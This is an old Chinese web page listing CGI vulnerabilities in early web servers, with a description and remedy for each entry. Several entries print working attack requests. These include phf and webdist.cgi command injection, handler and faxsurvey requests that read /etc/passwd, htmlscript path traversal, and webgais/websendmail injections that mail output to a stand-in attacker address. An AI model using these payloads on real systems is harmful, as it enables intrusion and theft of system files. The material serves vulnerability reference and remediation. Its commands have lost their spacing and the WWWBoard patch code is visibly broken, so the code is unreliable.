CGI安全漏洞资料速查(一)

时间:2006-10-12 来源: 作者: 点击:
类型:攻击型 名字:phf 风险等级:中 描述:在NCSA或者Apache(1.1.1版本以内)非商业版本的WebServer中有一段程序util.c,允许黑客以root身份执行任何一个指令: http://www.xxx.com/cgi-bin/phf?Qname=root%0Asome%20command%20here 建议:无 解决方法:把Apachewebserv
  
  类型:攻击型
  名字:phf
  风险等级:中
  描述:在NCSA或者Apache(1.1.1版本以内)非商业版本的WebServer中有一段程序util.c,允许黑客以root身份执行任何一个指令: http://www.xxx.com/cgi-bin/phf?Qname=root%0Asome%20command%20here
  建议:无
  解决方法:把Apachewebserver升级到1.1.1以上,或者将NCSAwebserver升级到最新版本
  ----------------------------------
  类型:攻击型
  名字:wguset.exe
  风险等级:中
  描述:如果您使用NT做为您的WebServer的操作系统,而且wguest.exe存 在于您的Web可执行目录中的话,入侵者将能利用它阅读到您的硬 盘上所有USR_用户能阅读的文件
  建议:将wguset.exe从你的Web目录移走或删除
  解决方法:将wguset.exe从你的Web目录移走或删除
  ----------------------------------
  类型:攻击型
  名字:rguset.exe
  风险等级:中
  描述:如果您使用NT做为您的WebServer的操作系统,而且rguest.exe存 在于您的Web可执行目录中的话,入侵者将能利用它阅读到您的硬 盘上所有USR_用户能阅读的文件
  建议:将rguset.exe从你的Web目录移走或删除
  解决方法:将rguset.exe从你的Web目录移走或删除
  ----------------------------------
  类型:攻击型
  名字:perl.exe
  风险等级:低
  描述:在cgi-bin执行目录下存在perl.exe,这属于严重的配置错误。黑客 可以在perl.exe后面加一串指令,利用浏览器在server上执行任何 脚本程序
  建议:perl.exe是放在任何带执行权限的web目录下都是不安全的
  解决方法:在web目录下移除perl.exe这个程序.
  ----------------------------------
  类型:攻击型
  名字:shtml.exe
  风险等级:低
  描述:如果您使用FrontPage作为您的WebServer,那么入侵者能够利用 IUSR_用户和shtml.exe入侵您的机器,做您不希望的事
  建议:将shtml.exe从你的Web目录移走或删除
  解决方法:将shtml.exe从你的Web目录移走或删除
  ----------------------------------
  类型:攻击型
  名字:wwwboard.pl
  风险等级:低
  描述:wwwboard.pl程序容易引起攻击者对服务器进行D.O.S攻击
  建议:如无必要可以删除该文件
  解决方法:对get_variables的子程序中的下面这段:
  if($FORM{\\\'followup\\\'}){$followup=\\\"1\\\";
  @followup_num=split(/,/,$FORM{\\\'followup\\\'});
  $num_followups=@followups=@followup_num;
  $last_message=pop(@followups);
  $origdate=\\\"$FORM{\\\'origdate\\\'}\\\";
  $origname=\\\"$FORM{\\\'origname\\\'}\\\";
  $origsubject=\\\"$FORM{\\\'origsubject\\\'}\\\";}
  
  替换为:
  
  if($FORM{\\\'followup\\\'}){
  $followup=\\\"1\\\";
  @followup_num=split(/,/,$FORM{\\\'followup\\\'});
  $num_followups=@followups=@followup_num;
  $last_message=pop(@followups);
  $origdate=\\\"$FORM{\\\'origdate\\\'}\\\";
  $origname=\\\"$FORM{\\\'origname\\\'}\\\";
  $origsubject=\\\"$FORM{\\\'origsubject\\\'}\\\";
  #WWWBoardBombPatch
  #WrittenBy:SamuelSparlingsparling@slip.net)
  $fn=0;
  while($fn<$num_followups)
  {
  $cur_fup=@followups$fn];
  $dfn=0;
  foreach$fm(@followups)
  {
  if(@followups[$dfn]==@followups[$fn]&&$dfn!=$fn)
  {
  &error(board_bomb);
  }
  $dfn++;
  }
  $fn++;
  }
  #EndWWWBoardBombPatch
  }
  ----------------------------------
  类型:攻击型
  名字:uploader.exe
  风险等级:中
  描述:如果您使用NT作为您的WebServer的操作系统,入侵者能够利用 uploader.exe上传任何文件
  建议:将uploader.exe从你的Web目录移走或删除
  解决方法:将uploader.exe从你的Web目录移走或删除
  ----------------------------------
  类型:攻击型
  名字:bdir.htr
  风险等级:高
  描述:如果您使用NT做为您的WebServer的操作系统,而且bdir.htr存在 于您的Web可执行目录中的话,入侵者将能利用它在您的服务器上 无止境的创建ODBC数据库,并生成一些可执行的文件
  建议:将bdir.htr从你的Web目录移走或删除
  解决方法:将bdir.htr从你的Web目录移走或删除
  ----------------------------------
  类型:攻击型
  名字:Count.cgi
  风险等级:高
  描述:在/cgi-bin目录下的Count.cgi程序(wwwcount2.3版本)有一个溢出 错误,允许入侵者无须登录而远程执行任何指令
  建议:如无必要可以删除该文件
  解决方法:将wwwcount升级到2.4或者以上
  ----------------------------------
  类型:攻击型
  名字:test-cgi
  风险等级:高
  描述:test-cgi这个文件可以被入侵者用来浏览服务器上的重要信息
  建议:建议审核cgi-bin目录下的执行程序,严格控制访问权限
  解决方法:删除test-cgi文件
  ----------------------------------
  类型:攻击型
  名字:nph-test-cgi
  风险等级:高
  描述:nph-test-cgi这个文件可以被入侵者用来浏览服务器上的重要信息
  建议:建议审核cgi-bin目录下的执行程序,严格控制访问权限
  解决方法:删除nph-test-cgi文件
  ----------------------------------
  类型:攻击型
  名字:php.cgi
  风险等级:低
  描述:php.cgi程序有较多的漏洞,包括缓存溢出漏洞,还有导致任何系 统文件可以被入侵者读取的漏洞
  建议:建议审核cgi-bin目录,避免有不必要的程序存在
  解决方法:删除php.cgi程序是最好的办法
  ----------------------------------
  类型:攻击型
  名字:handler
  风险等级:低
  描述:IRIX5.3,6.2,6.3,6.4的/cgi-bin/handler程序存在缓存溢出错误,允许入侵者在server上远程执行一段程序:
     telnettarget.machine.com80
     GET/cgi-bin/handler/whatever;cat/etc/passwd|?data=Download
   HTTP/1.0
  建议:建议审核cgi-bin目录,避免有不必要的程序存在
  解决方法:删除handler文件
  ----------------------------------
  类型:攻击型
  名字:webgais
  风险等级:高
  描述:/cgi-bin,目录下的webgais是GAIS搜索工具的一个接口,它有一个
     毛病使入侵者可以绕过程序的安全机制,执行系统命令:
     POST/cgi-bin/webgaisHTTP/1.0
     Content-length:85(replacethiswiththeactuallengthof
     the\\\"exploit\\\"line)
     telnettarget.machine.com80query=\\\';mail+you\\\\@your.host
  建议:建议审核cgi-bin目录,避免有不必要的程序存在
  解决方法:删除webgais文件
  ----------------------------------
  类型:攻击型
  名字:websendmail
  风险等级:高
  描述:/cgin-bin目录下的websendmail程序允许入侵者执行一个系统指令:
     telnettarget.machine.com80
     POST/cgi-bin/websendmailHTTP/1.0
     Content-length:xxx(shouldbereplacedwiththeactual
     lengthofthestringpassedtotheserver,inthiscase
     xxx=90) receiver=;mail+your_address\\\\@somewhere.org
     &content=a
  建议:建议审核cgi-bin目录,避免有不必要的程序存在
  解决方法:高级用户:编辑websendmail脚本,过滤特殊字符
  一般用户:删除websendmail文件
  ----------------------------------
  类型:攻击型
  名字:webdist.cgi
  风险等级:高
  描述:对于Irix6.2和6.3平台,/cgi-bin目录下的webdist.cgi有一个弱点允许入侵者无须登录而在系统上执行任何指令:
     http://host/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
  建议:建议审核cgi-bin目录,避免有不必要的程序存在
  解决方法:删除/var/www/cgi-bin/webdist.cgi目录下的webdist.cgi
  ----------------------------------
  类型:攻击型
  名字:faxsurvey
  风险等级:高
  描述:在LinuxS.u.S.E上/cgi-bin目录下的faxsurvey程序允许入侵者无须登录就能在服务器执行指令:
   http://joepc.linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
  建议:建议审核cgi-bin目录,避免有不必要的程序存在
  解决方法:删除/cgi-bin/faxsurvey文件
  ----------------------------------
  类型:攻击型
  名字:htmlscript
  风险等级:中
  描述:安装了htmlscript2.99x或者更早版本的服务器,存在一个毛病使入侵者可以查看服务器上的任何文件:
     http://www.vulnerable.server.com/cgi-bin/htmlscript?../../../../etc/passwd
  建议:建议审核cgi-bin目录,避免有不必要的程序存在
  解决方法:删除/cgi-bin/htmlscript脚本文
------分隔线----------------------------
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
最新评论 查看所有评论
发表评论 查看所有评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
推荐内容